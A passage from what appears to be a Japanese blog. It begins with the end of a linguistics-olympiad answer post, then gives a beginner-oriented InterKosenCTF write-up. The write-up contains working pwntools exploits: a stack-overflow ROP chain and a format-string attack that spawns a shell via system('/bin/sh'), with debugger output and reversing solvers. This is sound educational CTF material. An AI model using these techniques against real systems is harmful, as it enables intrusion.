  5. k

問題2

文対応

( 8 と 9 は逆でも可)

べジャ語翻訳

  1. Mek rihan
  2. Kwati tak rihan
  3. Araw kwatiib rihan
  4. Akra mek akteen
  5. Yaas dabaloob akteen
  6. Akteene mek rihan もしくは Mek akteeneeb rihan

日本語翻訳

  1. 幸せなロバを見た.
  2. Araw akraab akteen (誤りの修正) / 「友達が強い」のを知っている.
  3. 知っている犬を見た.
  4. 「ロバが小さい」のを知っている.

問題3

割愛.fulfomさんによる詳しい解答と解説があるのでそちらをどうぞ.

docs.google.com

問題4

上でも言ったようにこれは僕も満点を取れていないのでとりあえず飛ばします.後で部分的に解答を書くかも.

……と思っていたらこの問題もfulfomガチプロが解答と解説を書いていてくれました.

drive.google.com

丁寧でわかりやすいのでおすすめです.

問題5

入力が面倒なので,問題pdfにおいて左から何番目に印刷されているかでモンゴル文字チベット文字を指定します.

モンゴル文字 チベット文字
- 3
5 -
4 -
2 1
3 5
- 4
1 2

解説がないじゃないか!ふざけんな!

ごめんなさい().要望が多ければ2018年度の解説と他の年度の解答を加筆するので許してください.誤植,ミスなどの指摘はTwitter:@zohen0までお願いします.

InterKosenCTFに参加した+読者プレゼント write-up

InterKosenCTFにチーム生活習慣崩壊ズ(メンバーの生活習慣が壊れていることが多いので)のpwn/rev担当として参加しました.
チーム全体が解いた問題は以下で,合計で1850点を取得し総合5位でした.僕はそのうち4問600点分を取りました.
f:id:zohe:20190121212426p:plain
他のチームや参加者がみんなガチプロで怖かったです,追いつきたいね



参加記おわり,ここから下は読者プレゼントということで解いた問題のwrite-upを書いていきます.

write-up:はじめに

一応CTFを始めたての人が読んで理解できるのを目指しています.説明を細かめにしているつもりですが文章とかが分かりにくかったら申し訳のNASA.用語とかツールの名前とかを一部説明なしで出していますがそこは適宣ググってください.(ごめんなさい……) (かく言う僕もCTF歴半年くらいなので)
flag_checker, flag_generator, introductionのwrite-upは初歩的なレベルのx86アセンブラの知識を前提にしています.

double_check(Pwn, 100)

パスワードの入力を求められ,入力したパスワードが合っていればflagを表示するプログラムが渡されます.

ソースを読む

まず添付されているソースコードを見ていきましょう.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>

char auth = 1;
char password[32];

void handler(int sig)
{
  if (sig == SIGALRM) {
    puts("\nTimeout.");
    exit(1);
  }
}

void init(void)
{
  setvbuf(stdout, NULL, _IONBF, 0);
  signal(SIGALRM, handler);
  alarm(5);
}

void sw(char flag)
{
  auth = flag;
}

char readfile(char* path, char* buf)
{
  FILE *fp;
  if (auth == 1) {
    fp = fopen(path, "r");
    fread(buf, 1, 31, fp);
    fclose(fp);
    buf[31] = 0;
    auth = 0;
  } else {
    return 1;
  }
  return 0;
}

int main(void)
{
  FILE *fp;
  char input[32];

  init();
  
  if (readfile("password", password)) {
    puts("The file is locked.");
    return 1;
  }
  
  printf("Password: ");
  scanf("%s", input);

  if (strncmp(password, input, 31) == 0) {
    sw(1);
  } else {
    sw(0);
  }
  
  if (strncmp(password, input, 31) == 0) {
    if (readfile("flag", password)) {
      puts("The file is locked.");
    } else {
      printf("%s\n", password);
    }
  } else {
    puts("Invalid password.");
  }

  memset(password, '\x00', 32);
  return 0;
}

処理は大まかに,入力がパスワードと一致していればauthに1が代入され,readfile("flag", password)によってflagの中身が読まれる……という流れになっています.
パスワードが何であるかを知る手段がないのでここではどうにかしてreadfile("flag", password)を直接呼ぶ方法を考えます.

readfile("flag", password)を呼び出すには

58行目にscanf("%s", input);という処理があります.char input[32]はローカル変数として宣言されているのでスタック上に存在します.checksec.shでバイナリを検査してみるとSSPが無効になっているので,スタックベースバッファオーバーフローが使えそうです.mainのリターン先アドレスも同じくスタック上に存在するので,バッファオーバーフローでこれを書き換えてやれば処理が奪えそうです.

また,ソースを読むとreadfile("flag", password)でファイルを読むにはauthが1になっている必要があることがわかります.これはreadfile("flag", password)の前にsw(1)を呼んでやることで解決できます.

方針が決まったのでexploitコードを書いていきましょう.

exploitを書く

まずinputからmainのリターンアドレスまでのオフセットを調べましょう.ここではgdb-pedaを使います.

gdb-peda$ pattc 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'

パターン文字列を適当に200文字くらい生成して

gdb-peda$ r
Starting program: /home/user/Projects/InterKosenCTF/double_check/auth 
Password: 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
Invalid password.

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0x20 (' ')
EDX: 0x804a0a0 --> 0x0 
ESI: 0x1 
EDI: 0x8048590 (<_start>:	xor    ebp,ebp)
EBP: 0x30414161 ('aAA0')
ESP: 0xffffd1f0 ("AbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'")
EIP: 0x41464141 ('AAFA')
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41464141
[------------------------------------stack-------------------------------------]
0000| 0xffffd1f0 ("AbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'")
0004| 0xffffd1f4 ("1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'")
0008| 0xffffd1f8 ("AAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'")
0012| 0xffffd1fc ("A2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'")
0016| 0xffffd200 ("HAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'")
0020| 0xffffd204 ("AA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'")
0024| 0xffffd208 ("AIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'")
0028| 0xffffd20c ("eAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41464141 in ?? ()

inputに突っ込むとEIPが0x41414641 ('AFAA')となります.
AFAAはパターン文字列の44文字目に出現するので,オフセットは44であると分かります.

また,この実行ファイルは32bitでコンパイルされているので引数は素直にスタック上に積んでいくだけで良さそうです,

上の考察を踏まえるとsw(1)readfile("flag", password)を順に呼んでからputs(password)でflagを出してやればよさそう.

#!/usr/bin/env python

from pwn import *

context(os = 'linux', arch = 'i386', terminal = ['gnome-terminal', '-e'])
context.log_level = 'debug'

p = remote('pwn.kosenctf.com', 9100)

exploit = b'a'*44          #padding
exploit += p32(0x08048700) #pop ebx ; ret
exploit += p32(0x08048495) #sw
exploit += p32(1)

exploit += p32(0x08048717) #readfile
exploit += p32(0x0804890e) #pop edi ; pop ebp ; ret
exploit += p32(0x0804897b) #"flag"
exploit += p32(0x0804a080) #password

exploit += p32(0x08048500) #puts
exploit += p32(0x08048495) #pop ebx; ret
exploit += p32(0x0804a080) #password


p.recvuntil(b'Password: ')
p.sendline(exploit)

p.recvall()

関数や変数のアドレスはgdbradare2などで調べることができます.(僕はradare2を使っています)
実行するとFlag:KOSENCTF{s1mpl3-st4ck0v3rfl0w!}がわかります.

flag_generator(Revesing, 100)

渡されたバイナリをとりあえず実行してみると特に何も出力されないまま固まってしまいます.

アセンブリを読む

objdumpとかradare2とかで適当に逆アセンブルします.

|           ; CODE XREF from main (0x401271)
|       .-> 0x004011fa      837dc400       cmp dword [local_3ch], 0
|      ,==< 0x004011fe      7510           jne 0x401210
|      |:   0x00401200      bf00000000     mov edi, 0
|      |:   0x00401205      e846feffff     call sym.imp.time           ; time_t time(time_t *timer)
|      |:   0x0040120a      89053c2e0000   mov dword [obj.s], eax      ; [0x40404c:4]=0
|      `--> 0x00401210      b800000000     mov eax, 0
|       :   0x00401215      e838ffffff     call sym.r
|       :   0x0040121a      8945bc         mov dword [local_44h], eax
|       :   0x0040121d      8b45bc         mov eax, dword [local_44h]
|       :   0x00401220      3945c8         cmp dword [local_38h], eax
|      ,==< 0x00401223      7507           jne 0x40122c
|      |:   0x00401225      c745c4010000.  mov dword [local_3ch], 1
|      `--> 0x0040122c      837dc400       cmp dword [local_3ch], 0
|      ,==< 0x00401230      7435           je 0x401267
|      |:   0x00401232      8b45c0         mov eax, dword [local_40h]
|      |:   0x00401235      4898           cdqe
|      |:   0x00401237      8b5485d0       mov edx, dword [rbp + rax*4 - 0x30]
|      |:   0x0040123b      8b45bc         mov eax, dword [local_44h]
|      |:   0x0040123e      31d0           xor eax, edx
|      |:   0x00401240      8945bc         mov dword [local_44h], eax
|      |:   0x00401243      488d45bc       lea rax, qword [local_44h]
|      |:   0x00401247      4889c6         mov rsi, rax
|      |:   0x0040124a      488d3db30d00.  lea rdi, qword [0x00402004] ; "%s"
|      |:   0x00401251      b800000000     mov eax, 0
|      |:   0x00401256      e8e5fdffff     call sym.imp.printf         ; int printf(const char *format)
|      |:   0x0040125b      8345c001       add dword [local_40h], 1
|      |:   0x0040125f      8b45c0         mov eax, dword [local_40h]
|      |:   0x00401262      3b45cc         cmp eax, dword [local_34h]
|     ,===< 0x00401265      740c           je 0x401273
|     |`--> 0x00401267      bf01000000     mov edi, 1
|     | :   0x0040126c      e8effdffff     call sym.imp.sleep          ; int sleep(int s)
|     | `=< 0x00401271      eb87           jmp 0x4011fa
|     `---> 0x00401273      90             nop

この部分に着目しましょう.「time(NULL)の返り値をsとしてr(s)を呼び出し,その返り値が0x25dc167eであれば次の処理に進み,そうでなければ一旦スリープした後に最初からやり直す」という処理になっています.実行してみると固まってしまうのはおそらくここの処理のせいですね.
また,rの処理は「s0x41c64e6dを掛けて0x3039を足し,0x7fffffffをAND演算したものを返す」となっています.

sを全探索

r(s)0x25dc167eになるs0x0~0xffffffffの範囲で適当に全探索するコードを書いて

#include <stdio.h>

int main(void) {
	unsigned int s = 0x41c64e6d;
	
	for (unsigned long long i = 0; i <= 0xffffffff; i++) {
		if ((s * i + 0x3039 & 0x7fffffff) == 0x25dc167e) printf("0x%llx\n", i);
	}
}
user@localhost flag_generator % ./a.out 
0x5a003039
0xda003039

十数秒ほど待つとs = 0x5a003039, s = 0xda003039という結果が得られます.

とりあえず0x5a003039time(NULL)の代わりにsに代入して試してみましょう.
0x00401200mov edi, 0mov eax, 0x5a003039に書き換え,0x00401209までを全てnopで埋めます.

|           ; CODE XREF from main (0x401271)
|       .-> 0x004011fa      837dc400       cmp dword [local_3ch], 0
|      ,==< 0x004011fe      7510           jne 0x401210
|      |:   0x00401200      b83930005a     mov eax, 0x5a003039         ; '90'
|      |:   0x00401205      90             nop
|      |:   0x00401206      90             nop
|      |:   0x00401207      90             nop
|      |:   0x00401208      90             nop
|      |:   0x00401209      90             nop
|      |:   0x0040120a      89053c2e0000   mov dword [obj.s], eax      ; [0x40404c:4]=0
|      `--> 0x00401210      b800000000     mov eax, 0
|       :   0x00401215      e838ffffff     call sym.r
|       :   0x0040121a      8945bc         mov dword [local_44h], eax
|       :   0x0040121d      8b45bc         mov eax, dword [local_44h]
|       :   0x00401220      3945c8         cmp dword [local_38h], eax
|      ,==< 0x00401223      7507           jne 0x40122c

実行すると

user@localhost flag_generator % ./main_r
KOSENCTF{IS_THIS_REALLY_A_REVERSING}

flagっぽいものが出てきましたが,これを提出しても弾かれてしまいます.xxdを通して見てみると

user@localhost flag_generator % ./main_r | xxd
00000000: 4b4f 5345 4e43 5446 017b 4953 5f02 5448  KOSENCTF.{IS_.TH
00000010: 4953 035f 5245 4104 4c4c 595f 0541 5f52  IS._REA.LLY_.A_R
00000020: 4506 5645 5253 0749 4e47 3f08 7d         E.VERS.ING?.}

0x08(バックスペース)で?が消されてしまっていました.?を付けて提出したら無事にAC.

Flag:KOSENCTF{IS_THIS_REALLY_A_REVERSING?}

flag_checker(Reversing, 200)

入力したflagが正しいか判定するプログラムが与えられます.

アセンブリを読む(2)

この問題は素直に&愚直にアセンブリを読んでソルバを書けば解けます.若干長めですががんばって読みましょう.

ソルバを書く

#include <stdio.h>

unsigned int rol8(unsigned int a) {
	return (a >> 24) + (a << 8);
}

void to_str(char *str, const unsigned int num) {
	for (int i = 0; i < 4; i++) {
		str[i] = ((num >> 8 * i) & 0xff);
	}
}

int main(void) {
	unsigned int zohe[9] = {0xc2d7c99f, 0x5944460a, 0xc1cec584, 0x4e5f4f3f,
                                0xddded4be, 0x4c4a4b39, 0xd1d1cfa6, 0x4e4a5529,
                                0xddc3c3a3};
	unsigned int key = 0xdec0c0de, ehoz = 0;
	char flag[256];
	
	for (int i = 8; i >= 0; i--) {
		to_str(flag + i * 4, zohe[i] ^ ehoz ^ key);
		ehoz = zohe[i];
		key = rol8(key);
	}
	
	puts(flag);
}

アセンブリを愚直に読んでflagを逆算するソルバを書きました.実行するとKOSENCTF{TOO_EASY_TO_DECODE_THIS}が出てきます.

Flag:KOSENCTF{TOO_EASY_TO_DECODE_THIS}

注意

競技時間が終わったあとに「K???N???{???_???Y???_???C???T???}みたいflagが4文字に1つしか出てこなかった」みたいなツイートを見かけたんですが,おそらく僕のソルバで言うところのto_str(flag + i * 4, zohe[i] ^ ehoz ^ key);にあたる部分をflag[i * 4] = zohe[i] ^ ehoz ^ keyみたく書いたのかなあと思います.char1つは1バイトでint1つは4バイト(であることが多い)なのでそこには気をつけた方が良さそう.

introduction(Pwn, 200)

ソースを読む(2)

scanf("%127s", buffer);と入力できる文字数の上限が127文字に設定されてしまっているのでバッファオーバーフローは使えません.一方ユーザーが入力した文字列をprintf(buffer)でそのまま出力している部分が2つあるので,書式文字列攻撃が2回使えそうです.
次にどのアドレスを書き換えるかを考えます.最初putsのGOTアドレスをsystemで上書きするGOT Overwriteを考えましたが,checksec.shで調べてみるとRELROが有効(Full RELRO)になっていてGOT Overwriteは使えないとわかります.そこでmainのリターンアドレスを書き換えることを考えます.

mainのリターンアドレスを探す

mainの逆アセンブルの最初の数行を見てみます.

[0x000005e0]> pdf @main
            ;-- main:
/ (fcn) sym.main 199
|   sym.main (int argc, char **argv, char **envp);
|           ; var int local_4h_2 @ ebp-0x4
|           ; var int local_4h @ esp+0x4
|           ; var int local_1ch @ esp+0x1c
|           ; var int local_9ch @ esp+0x9c
|           0x000007e5      55             push ebp
|           0x000007e6      89e5           mov ebp, esp
|           0x000007e8      53             push ebx
|           0x000007e9      83e4f0         and esp, 0xfffffff0
|           0x000007ec      81eca0000000   sub esp, 0xa0

ebpebxがスタックに積まれたあと,espが-0xa0されています.つまり,0x7ec以降のespの位置を基準にすると,esp + 0xa4ebxesp + 0xa8ebpesp + 0xa4mainのリターンアドレスが積まれているとわかります.

実際に動作中のスタックを覗いてみると

gdb-peda$ b *main+168
Breakpoint 1 at 0x88d
gdb-peda$ r
Starting program: /home/user/Projects/InterKosenCTF/introduction/introduction 
May I ask your name?
First Name: a
a
Family Name: a
a
Thanks.

[----------------------------------registers-----------------------------------]
EAX: 0x9 ('\t')
EBX: 0x56556fb4 --> 0x1ebc 
ECX: 0xfbad0087 
EDX: 0xf7f8c890 --> 0x0 
ESI: 0x1 
EDI: 0x565555e0 (<_start>:	xor    ebp,ebp)
EBP: 0xffffd1c8 --> 0x0 
ESP: 0xffffd120 --> 0x565559bc ("\nThanks.")
EIP: 0x5655588d (<main+168>:	mov    eax,0x0)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x5655587f <main+154>:	lea    eax,[ebx-0x15f8]
   0x56555885 <main+160>:	mov    DWORD PTR [esp],eax
   0x56555888 <main+163>:	call   0x56555580 <puts@plt>
=> 0x5655588d <main+168>:	mov    eax,0x0
   0x56555892 <main+173>:	mov    edx,DWORD PTR [esp+0x9c]
   0x56555899 <main+180>:	xor    edx,DWORD PTR gs:0x14
   0x565558a0 <main+187>:	je     0x565558a7 <main+194>
   0x565558a2 <main+189>:	call   0x56555930 <__stack_chk_fail_local>
[------------------------------------stack-------------------------------------]
0000| 0xffffd120 --> 0x565559bc ("\nThanks.")
0004| 0xffffd124 --> 0xffffd13c --> 0xd3880061 
0008| 0xffffd128 --> 0xc30000 
0012| 0xffffd12c --> 0x1 
0016| 0xffffd130 --> 0x0 
0020| 0xffffd134 --> 0x0 
0024| 0xffffd138 --> 0x0 
0028| 0xffffd13c --> 0xd3880061 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x5655588d in main ()
gdb-peda$ x $esp+0xac
0xffffd1cc:	0xf7dc5094
gdb-peda$ info stack
#0  0x5655588d in main ()
#1  0xf7dc5094 in __libc_start_main () from /lib32/libc.so.6
#2  0x56555611 in _start ()

ちゃんと[esp + 0xac]にリターンアドレスが積まれていることがわかります.

さらに,リターン先の__libc_start_mainからlibcのベースアドレスが逆算できます.

gdb-peda$ disas __libc_start_main
(中略)
   0xf7dc5094 <+241>:	add    esp,0x10

0xf7dc5094から__libc_start_mainの先頭までのオフセットは241とわかり,

user@localhost introduction % nm -D libc.so.6 | grep __libc_start_main
00018d90 T __libc_start_main

__libc_start_mainからlibcの先頭までのオフセットは0x18d90とわかります.つまり,[esp + 0xac] - 241 - 0x18d90でlibcのベースアドレスが求められます.

攻撃文字列を組み上げる

まず一回目のprintf(buffer)esp[esp + 0xac]をリークさせ.次のprintf(buffer)esp + 0xacsystemのアドレスを,esp + 0xac + 8"/bin/sh"のアドレスを積みます.

user@localhost introduction % ./introduction 
May I ask your name?
First Name: %p
0xffe1bb1c

printf(buffer)"%p"を入力してみるとesp + 4に入っている値が表示されます.逆アセンブル結果を読むとesp + 4にはesp + 0x1cのアドレスが入っているのがわかります.なのでespを求めるには"%p"の出力から0x1cを引けばよく,またesp + 0xacに入っている値を表示するには(0xac - 4) / 4 + 1 = 43より"%42$p"を入力すればよいとわかります.

よって,一回目のprintf(buffer)には"%p, %43$p"を入力します.二回目のprintf(buffer)に入力する攻撃文字列の組み立てはpwntoolsのfmtstrに任せてしまいます.

ここまでの方針がようやく立ったのでexploitコードを書きます.

exploit

#!/usr/bin/env python

from pwn import *

context(os = 'linux', arch = 'i386', terminal = ['gnome-terminal', '-e'])
context.log_level = 'debug'

p = remote('pwn.kosenctf.com', 9200)

p.recvuntil(b'First Name: ')
exploit = b'%x,%43$x'
p.sendline(exploit)
list_addr = list(map(lambda x: int(x, 16), p.recvline().decode('utf-8').split(",")))

addr_esp = list_addr[0] - 0x1c                #esp
addr_ret = addr_esp + 0xac                    #esp + 0xac
addr_arg = addr_ret + 8                       #esp + 0xac + 8; 引数は +4 ではなく +8 から積みはじめるので注意
addr_libc_base = list_addr[1] - 241 - 0x18d90 #[esp + 0xac] - 241 - 0x18d90 
addr_libc_system = addr_libc_base + 0x3cd10
addr_libc_str = addr_libc_base + 0x17b8cf

writes = {addr_ret: addr_libc_system,
              addr_arg: addr_libc_str}
exploit = fmtstr_payload(7, writes)

p.recvuntil(b'Family Name: ')
p.sendline(exploit)

p.interactive()

p.close()

system/bin/shのlibcのベースアドレスへのオフセットはnm -Dstrings -txなどで調べられます.
実行するといい感じにシェルが立ち上がってくれるので後はflagをもらって終わりましょう.

[DEBUG] Received 0x2f7 bytes:
    00000000  24 57 cf ff  25 57 cf ff  26 57 cf ff  27 57 cf ff  │$W··│%W··│&W··│'W··│
    00000010  1c 57 cf ff  1d 57 cf ff  1e 57 cf ff  1f 57 cf ff  │·W··│·W··│·W··│·W··│
    00000020  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    000000c0  20 20 20 20  20 20 20 20  20 20 20 20  20 20 8c 20  │    │    │    │  · │
    000000d0  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    00000120  20 20 20 20  20 20 20 ba  20 20 20 20  20 20 20 20  │    │   ·│    │    │
    00000130  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    000001e0  20 20 20 20  20 20 20 20  20 20 20 20  20 20 40 20  │    │    │    │  @ │
    000001f0  20 20 20 20  20 20 ba 20  20 20 20 20  20 20 20 20  │    │  · │    │    │
    00000200  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 84  │    │    │    │   ·│
    00000210  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    00000230  20 20 20 20  20 20 20 20  20 20 20 20  88 20 20 20  │    │    │    │·   │
    00000240  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    000002d0  20 20 20 20  20 20 20 20  20 20 24 20  20 20 20 20  │    │    │  $ │    │
    000002e0  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    000002f0  20 20 20 20  20 20 25                               │    │  %│
    000002f7
$W��%W��&W��'W��\x1cW��\x1dW��\x1eW��\x1fW��                                                                                                                                                                              \x8c                                                                                        \xba                                                                                                                                                                                                      @       \xba                        \x84                                            \x88                                                                                                                                                       [DEBUG] Received 0x9 bytes:
    b'\n'
    b'Thanks.\n'

Thanks.
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x1b bytes:
    b'flag\n'
    b'introduction\n'
    b'redir.sh\n'
flag
introduction
redir.sh
[DEBUG] Received 0x24 bytes:
    b'\n'
    b'No need to answer my question. Bye.'

No need to answer my question. Bye.[DEBUG] Received 0x1 bytes:
    b'\n'

$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x31 bytes:
    b'KOSENCTF{lIbc-bAsE&ESp_lEAk+rET2lIbc_ThrOugh_FSB}'
KOSENCTF{lIbc-bAsE&ESp_lEAk+rET2lIbc_ThrOugh_FSB}$ q

Flag:KOSENCTF{lIbc-bAsE&ESp_lEAk+rET2lIbc_ThrOugh_FSB}$

おわりに

自分にとって丁度いい難易度の問題が多くてとても楽しめました.特にintroductionは自分の知識を活用している感じがあって解いていてとても楽しかったです.ziplist(Pwn, 350), sandbox(Pwn, 300), rolling_triangle(Reversing, 300)が解けなかったのは悔しかったですね,実力を付けていきたい. 特にrolling_triangleは37元1次方程式を立てるところまでは出来ていたのでとても悔しい.

運営の方々は本当にお疲れ様でした&ありがとうございました.

ここまで読んでくださった方々もありがとうございました.質問,訂正,マサカリ等は[twitter:zohen0]までお願いします.

関連リンク

keymoon.hatenablog.com
生活習慣崩壊ズのメンバーの1人によるwrite-up